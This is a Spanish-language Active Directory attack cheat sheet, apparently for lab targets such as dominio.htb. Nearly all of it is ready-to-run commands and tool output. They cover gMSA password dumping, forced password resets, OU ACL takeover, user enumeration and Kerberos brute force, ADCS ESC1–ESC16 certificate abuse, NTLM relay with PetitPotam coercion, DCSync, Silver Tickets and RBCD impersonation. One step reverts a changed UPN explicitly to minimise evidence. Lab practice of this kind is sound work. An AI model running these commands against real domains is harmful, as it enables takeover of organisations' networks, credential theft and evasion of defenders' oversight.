python3 gMSADumper.py -u 'user' -p 'password' -d dominio.htb
# Leer la contraseña GMSA a través de PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Get-GMSA
Si un usuario dispone del ACL ForceChangePassword sobre un usuario, este puede modificar la contraseña del usuario objetivo sin necesidad de conocer la que dispone actualmente.
# Modificamos la contrseña del usuario 'USER_TARGET' a 'Password01!' con bloodyAD
bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con rpcclient
rpcclient -U 'user%password' 10.10.10.10 -W <DOMAIN> -c 'setuserinfo2 <user_target> 23 Password01!'
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con net rpc
net rpc password "user_target" "Password01!" -U 'dominio.htb/user%password' -S 10.10.10.10
# Modificamos la contraseña del usuario 'USER_TARGET' a 'Password01!' con PowerView.py
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
---------------------------------------------------------------------------------------
# Verificamos que el cambio se ha realizado correctamente
nxc smb 10.10.10.10 -u 'USER_TARGET' -p 'Password01!'
# Teniendo acceso a un equipo del dominio o DC, podemos modificar la contraseña del usuario
net user <user_target> Password01! /domain
# Desde PowerShell, creamos un objeto para nuestro usuario en caso de que no dispongamos de acceso con su usuario a la terminal, y cambiamos credenciales al usuario target
$SecPassword = ConvertTo-SecureString 'Password_Attacker' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('dominio.htb\user_attacker',$SecPassword)
$NewPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'dominio.htb\user_target' -AccountPassword = $NewPass -Credential $Cred
Los ACLs en Organizational Units (OUs) pueden explotarse para comprometer todos los objetos contenidos en ellas.
Objetos no privilegiados
Un usuario con permisos GenericAll o WriteDACL sobre una OU puede añadir una ACE con FullControl e herencia activada, comprometiendo todos los objetos hijos al heredar dicha ACE.
# Nos otorgamos FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
# Verificamos que disponemos de FullControl sobre la OU llamada TESTERS
impacket-dacledit -action 'read' -principal 'username' -target-dn 'ou=testers,dc=dominio,dc=htb' 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10 2>/dev/null
Se trata de la herramienta de S4vitar, pero con el nombre renombrado, para diferenciar de la otra herramienta creada llamada rpcenum que sí permite utilizar credenciales.
Esta herramienta permite enumerar el DA a través del protocolo RPC con una Null Session, es decir, sin proporcionar credenciales de acceso. Solamente funcionará en caso de que tengamos los permisos adecuados.
NSrpcenum -e DUsers -i 10.10.10.10
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.
for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
# Fuerza bruta para enumerar usuarios a través de Kerberos mediante un diccionario
kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# Validar si usuarios son válidos a nivel de dominio con un listado de posibles usuarios
kerbrute userenum --dc 10.10.10.10 -d dominio.htb possible_users.txt
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute
Realizar fuerza bruta, similar a Kerbrute para verificar si un usuario es válido en el dominio a través de Kerberos.
En caso de que exista el usuario, aparecerá mensaje de: KDC_ERR_PREAUTH_FAILED Si no existe ese usuario, aparecerá mensaje de: KDC_ERR_C_PRINCIPAL_UNKNOWN
nxc ldap dc.dominio.htb -u users.txt -p '' -k
ridenum 10.10.10.10 500 10000 guest ''
# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'
# Enumerar el LDAP entero y quedarnos solamente con los nombres de los usuarios
ldapdomaindump -u 'dominio.htb\user' -p 'password' 10.10.10.10 -o ldap; cd ldap; echo; cat domain_users.grep | awk '{print $1}' | tail -n +2
A través de la herramienta de rpcenum modificada, podemos realizar una enumeración completa de usuarios y demás información a través del protocolo RPC. La herramienta requiere de credenciales válidas.
rpcenum -e DUsers -i 10.10.10.10 -u 'user' -p 'password'
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. Necesario disponer de credenciales.
for i in $(seq 1000 1500); do rpcclient -U "user%password" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
# Obtener usuarios del dominio a través de RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
# Enumeración de usuarios a través de LDAP
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users
# Enumeración de usuarios con lookupsid con credenciales válidas.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/'usuario':'password'@10.10.10.10| grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'
# Enumeración de todos los usuarios del DA a través de autenticación simple (NTLM)
ldapsearch -H ldap://10.10.10.10 -D 'user@dominio.htb' -w 'password' -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'
# Enumeración de todos los usuarios del DA a través de autenticación Kerberos
ldapsearch -H ldap://dc.dominio.htb -Y GSSAPI -b "DC=dominio,DC=htb" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'
ADCS es el rol que maneja la emisión de certificados para usuarios, equipos y servicios en la red de Active Directory. Este servicio, si está mal configurado, puede presentar vulnerabilidades que los atacantes podrían explotar para elevar privilegios o acceder a información sensible.
Algunas de las posibles vulnerabilidades que puede tener ADCS son:
Delegación de privilegios en la emisión de certificados: Si ciertos usuarios tienen permisos para emitir certificados para otros, un atacante podría abusar de estos privilegios para obtener permisos elevados.
Mala configuración en las plantillas de certificados: Configuraciones incorrectas en las plantillas de certificados podrían permitir que un atacante solicite un certificado en nombre de otro usuario, incluso uno con privilegios elevados.
NTLM Relaying en HTTP: Si el ADCS acepta autenticación NTLM en lugar de Kerberos, un atacante podría redirigir las solicitudes para ganar acceso.
CA (Certification Authority): Emite y gestiona certificados. Puede haber múltiples CAs en una jerarquía.
Certificate Templates: Definen la configuración, permisos y requisitos para emitir certificados.
CES (Certificate Enrollment Server): Permite renovar certificados mediante solicitudes HTTPS.
Certificate Enrollment Policy Web Server: Proporciona información sobre la política de inscripción de certificados.
CA Web Enrollment: Permite que hosts fuera del dominio o con otros sistemas operativos renueven certificados.
NDES (Network Device Enrollment Service): Permite a dispositivos de red obtener certificados sin conexión.
PEM: Certificado DER codificado en base64; puede almacenar múltiples claves sin protección por contraseña.
DER: Certificado en formato binario crudo.
PFX/P12 (PKCS#12): Almacena claves privadas con protección por contraseña.
P7B (PKCS#7): Almacena certificados de cadena, pero no claves privadas.
Subject: Entidad a la que se emite el certificado.
Issuer: Normalmente la CA.
SAN: Nombre alternativo del sujeto.
Validity Period: Periodo de validez del certificado.
EKU (Extended Key Use): Define usos específicos del certificado.
OID (Object Identifier): Indica el propósito o escenario de uso del certificado.
OID
Uso del certificado
1.3.6.1.5.5.7.3.1
Autenticación de servidor
1.3.6.1.5.5.7.3.2
Autenticación de cliente
1.3.6.1.5.5.7.3.3
Firma de código
1.3.6.1.5.5.7.3.4
Correo electrónico seguro
El cliente envía una solicitud de certificado (CSR).
La CA verifica los permisos del cliente para emitir el certificado solicitado.
Si los permisos coinciden, la CA genera y firma el certificado con su clave privada.
El certificado firmado es devuelto al cliente.
Herramienta que utilizaremos para la escalada de privilegios con los ADCS.
Para verificar si existen plantillas mal configuradas, las cuales podemos abusar, podemos hacer uso del siguiente comando para que nos lo muestre en la terminal.
certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
Ejemplo de cómo debería salirnos si existe una plantilla mal configurada en el ADCS que podemos intentar explotar. En este ejemplo, nos aparece que podemos realizar la explotación ESC7.
Es posible que en algún momento obtengamos este mensaje de error al intentar autenticarnos con el certificado PFX
del usuario que estamos impersonando, lo que indica que el KDC no admite el tipo de autenticación proporcionado.
Nos encontramos con varios blogs que mencionan el error KDC_ERR_PADATA_TYPE_NOSUPP
, el cual ocurre cuando el controlador de dominio no soporta PKINIT. Esto impide que autenticarnos directamente con el certificado PFX.
Como alternativa, podemos utilizar PassTheCert
para autenticarnos a LDAP a través de SChannel
con nuestro certificado. Aunque esto solo nos daría acceso a LDAP, podría ser suficiente si el certificado nos identifica como Administrador de Dominio
.
Lo primero que haremos será extraer la clave privada y el certificado desde el archivo PFX que obtuvimos del usuario Administrator
. Para ello, utilizamos Certipy
de la siguiente manera. A continuación, haremos uso de la herramienta PassTheCert.py
para autentifcarnos con el certificado obtenido.
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
Con PassTheCert
, utilizamos la clave privada y el certificado generado anteriormente para autenticarnos. En este ejemplo. se nos mostraría el resultado del comando whoami
.
Para poder escalar privilegios y buscar otras maneras. podemos obtener una consola LDAP Shell
con el parámetro -action ldap-shell
.
python3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10
Para ver varios ejemplos del uso de PassTheCert
y de cómo logramos obtener acceso al sistema como el usuario Administrator
podemos comprobar el siguiente blog.
Solicitud del certificado con SAN alternativo.
# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb
En algunas ocasiones, es posible que exista la ESC1
pero solamente se pueda realizar a través de algún Domain Computer
. En este resultado de adPEAS
se comprueba que solamente los Domain Computers
tienen permisos de enrollment
sobre la plantilla vulnerable para realizar el ESC1
.
[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'
Por lo tanto, hay que disponer de las credenciales de un equipo, que se pueden obtener de diversas maneras. En caso de que podemos añadir nuevas máquinas al dominio, podemos realizar lo siguiente a través de la herramienta de PowerView.py
.
powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123
Una vez dispongamos de acceso a autenticarnos como un Domain Computer
, realizaremos el ataque. Sustituir Gzzcoo$
por el nombre del PC
y la contraseña Gzzcoo123
por la correspondiente.
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htb
Solicitud del certificado con SAN alternativo.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn user
Autenticación con certificado.
certipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htb
Verificación.
KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass
Solicitar un certificado.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htb
Solicitar un certificando suplantando al Administrator.
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx
Atacando a la plantilla vulnerable a ESC4.
# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb
Verificar plantilla ESC4 después de la modificación.
# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout
Abusando de la plantilla modificada.
# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htb
Recuperando el hash NTLM del usuario Administrator.
certipy-ad auth -pfx administrator.pfx -domain domain.htb
Volviendo la plantilla ESC4 al estado original.
# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb
Solicitar el certificado del Domain Admin.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator
Emitir el certificado solicitado.
En este caso, aprobamos la solicitud anterior especificando el ID de la solicitud con la opción -issue-request 10.
certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10
Recuperar el certificado emitido.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10
Autenticarse con el certificado del Administrator.
certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp
Solicitud de certificado con UPN alternativo, en este caso, el usuario Administrator.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb
Requisitos previos
Para que esta técnica funcione, el usuario también debe tener el derecho de acceso Administrar certificados y la plantilla de certificado SubCA debe estar habilitada. Con el derecho de acceso Administrar CA, podemos cumplir con estos requisitos previos.
La técnica se basa en el hecho de que los usuarios con el derecho de acceso Administrar CA y Administrar certificados pueden emitir solicitudes de certificado fallidas. La plantilla de certificado SubCA es vulnerable a ESC1, pero solo los administradores pueden inscribirse en la plantilla. Por lo tanto, un usuario puede solicitar inscribirse en la SubCA (que será denegada) pero luego el administrador la emitirá.
Si solo tiene el derecho de acceso Administrar CA, puede otorgarse el derecho de acceso Administrar certificados agregando a su usuario como un nuevo funcionario.
certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'
La plantilla SubCA se puede habilitar en la CA con el parámetro -enable-template. De manera predeterminada, la plantilla SubCA está habilitada.
certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'
Ataque
Si hemos cumplido con los requisitos previos para este ataque, podemos comenzar solicitando un certificado basado en la plantilla SubCA.
Esta solicitud será rechazada, pero guardaremos la clave privada y anotaremos el ID de la solicitud.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb
Con Administrar CA y Administrar certificados, podemos emitir la solicitud de certificado fallida con el comando ca y el parámetro -issue-request.
certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'
Y finalmente, podemos recuperar el certificado emitido con el comando req y el parámetro -retrieve . Obtenemos el certificado del Administrator.
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>
Certipy relay
certipy-ad relay -target <adcs_ip> -template <machine_template>
Realizar la Autenticación Coercion (desde otra terminal)
Esto nos dará el certificado y la clave privada del usuario.
coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v
Solicitar un TGT como máquina de equipo (o Domain Controller)
certipy-ad auth -pfx machine_account.pfx
Esto nos dará el hash NTLM del usuario, que podemos usar para autenticarnos.
Dependiendo de la situación, ahora tenemos 2 ataques posibles...
DCSync (si disponemos de permisos de Administradores del dominio)
Realizando DCSync Attack utilizando el hash NTLM como Domain Controller.
impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
Silver Ticket (utilizando el hash NTLM de una cuenta de equipo)
Creación del Silver Ticket
impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator
Realizando PassTheTicket con PsExec
KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.
En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC9.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Utilizamos Certipy para actualizar el UPN de la cuenta 'victim', asignándole el valor de Administrator. Esto nos permite asociar cualquier certificado emitido a 'victim' con la identidad de Administrator:
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator
Solicitamos un certificado utilizando la plantilla vulnerable. Este certificado se emitió con el UPN de Administrator, habilitando su uso para autenticación con privilegios elevados.
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>
Posteriormente, restauramos el UPN de 'victim' a su valor original para minimizar evidencias de la modificación realizada.
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Seguidamente utilizamos el certificado emitido para autenticarnos y verificamos que obtenemos el hash NTLM del usuario "Administrator".
certipy-ad auth -pfx administrator.pfx -domain dominio.htb
Caso 1
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B.
En este caso 'hacker' dispone de los privilegios sobre 'victim'. El usuario 'victim' tiene permisos para realizar el ESC10.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Modificar el UPN del usuario 'victim' al usuario Administrator.
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator
Solicitud del certificado.
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
Revertiremos los cambios del usuario 'victim' (para asegurarse de que solo el administrador coincida con el certificado)
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Autenticarse como usuario Administrator.
certipy-ad auth -pfx administrator.pfx -domain dominio.htb
Caso 2
Requisitos:
GenericWrite o GenericAll sobre cualquier A para comprometer a la cuenta B sin que disponga un userPrincipalName (cuentas de máquina y administrador de dominio integrado Administrador.
En este caso 'hacker' dispone de los privilegios sobre 'victim' y deseamos comprometer el Domain Controller DC$@domain.htb.
Conseguir hash NTLM del usuario 'victim' a través de ShadowCredentials ya que el usuario 'hacker' dispone de los permisos necesarios sobre el usuario 'victim'.
certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
Modificamos el UPN del usuario 'victim' a 'DC$@dominio.htb'.
certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'
Solicitamos un certificado como 'victim' para obtener el certificado del Domain Controller (DC).
certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
Revertir los cambios de 'victim' (para asegurarse de que solo el administrador coincida con el certificado).
certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
Autenticación con el certificado del DC.
certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell
Creación de una nueva cuenta de equipo.
add_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$
Abusar de RBCD (Resource Based Constrained Delegation) para impersonar al Administrator.
impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>
Autenticarse utilizando el TGT del usuario Administrator.
KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass
Configuramos el relay
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
Autenticación Coerce con PetitPotam
python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>
Certipy recibe autenticación del DC de AD
certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
A continuación, se deberá realizarlos pasos del ESC8
Desde sistemas tipo UNIX, esta solicitud de extracción en Certipy (Python) permite identificar una plantilla de certificado con una política de emisión, es decir, con la propiedad msPKI-Certificate-Policy
no vacía. Además, verifica si esta política de emisión tiene un enlace de grupo OID a un grupo en la propiedad msDS-OIDToGroupLink
.
certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'
Si se encuentra una plantilla vulnerable, no hay ningún requisito de emisión particular, el principal puede inscribirse y la plantilla indica el EKU de autenticación del cliente; solicite un certificado para esta plantilla con Certipy (Python) como de costumbre:
certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'
Luego, el certificado se puede usar con Pass-the-Certificate para obtener un TGT y autenticarse como el principal controlado, pero con sus privilegios agregados a los del grupo vinculado.
Comprobar que con el usuario (userA
) tengamos permisos de escritura en el atributo altSecurityIdentities
en el usuario TARGET
(userB
).
❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb
...[SNIP]...
distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE
Crearemos un nuevo Domain Computer
.
❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
Autenticamos con el Domain Computer recién creado para obtener su PFX
.
❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'
Obtener el .crt
del certificado PFX del Domain Computer recién creado.
❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'gzzcoo.crt'
Script para obtener el X509
a travésdel issuer y el serial.
import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def format_serial_le(serial_int):
hex_serial = format(serial_int, 'x').zfill(2)
if len(hex_serial) % 2 != 0:
hex_serial = '0' + hex_serial
bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
return ''.join(reversed(bytes_pairs))
def parse_issuer(cert):
oid_map = {
'commonName': 'CN',
'countryName': 'C',
'organizationName': 'O',
'organizationalUnitName': 'OU',
'stateOrProvinceName': 'ST',
'localityName': 'L',
'domainComponent': 'DC'
}
issuer = cert.issuer
issuer_parts = []
for attribute in issuer:
oid = attribute.oid._name
key = oid_map.get(oid, oid)
value = attribute.value
issuer_parts.append(f"{key}={value}")
return ",".join(issuer_parts)
def get_cert_info(path):
with open(path, 'rb') as f:
data = f.read()
if path.endswith('.pfx'):
private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
else:
cert = x509.load_pem_x509_certificate(data, backend=default_backend())
serial_le = format_serial_le(cert.serial_number)
issuer = parse_issuer(cert)
print(f"X509:<I>{issuer}<SR>{serial_le}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Uso: python3 x509.py file.pfx|file.crt")
sys.exit(1)
get_cert_info(sys.argv[1])
Resultado obtenido al ejecutar el script.
❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062
Modificamos el atributo altSecurityIdentities
del userB
a través del userA
ya que disponemos de permisos y le asignamos el valor X509
anteriormente obtenido.
❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated
Una vez modificado, nos autenticamos con el PFX del Domain Computer creado impersonando al userB
, obtenemos su hash NTLM
y su TGT (.ccache
).
❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0
Nota muy importante: disponer de la última versión de certipy para que aparezca. Actualmente (5.0.2)
certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
Output:
Certificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
...
Request Disposition : Issue
...
Disabled Extensions : 1.3.6.1.4.1.311.25.2
...
Permissions
Access Rights
...
Enroll : CORP.LOCAL\Authenticated Users
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
# Step 1: Read initial UPN of the victim account (Optional - for restoration).
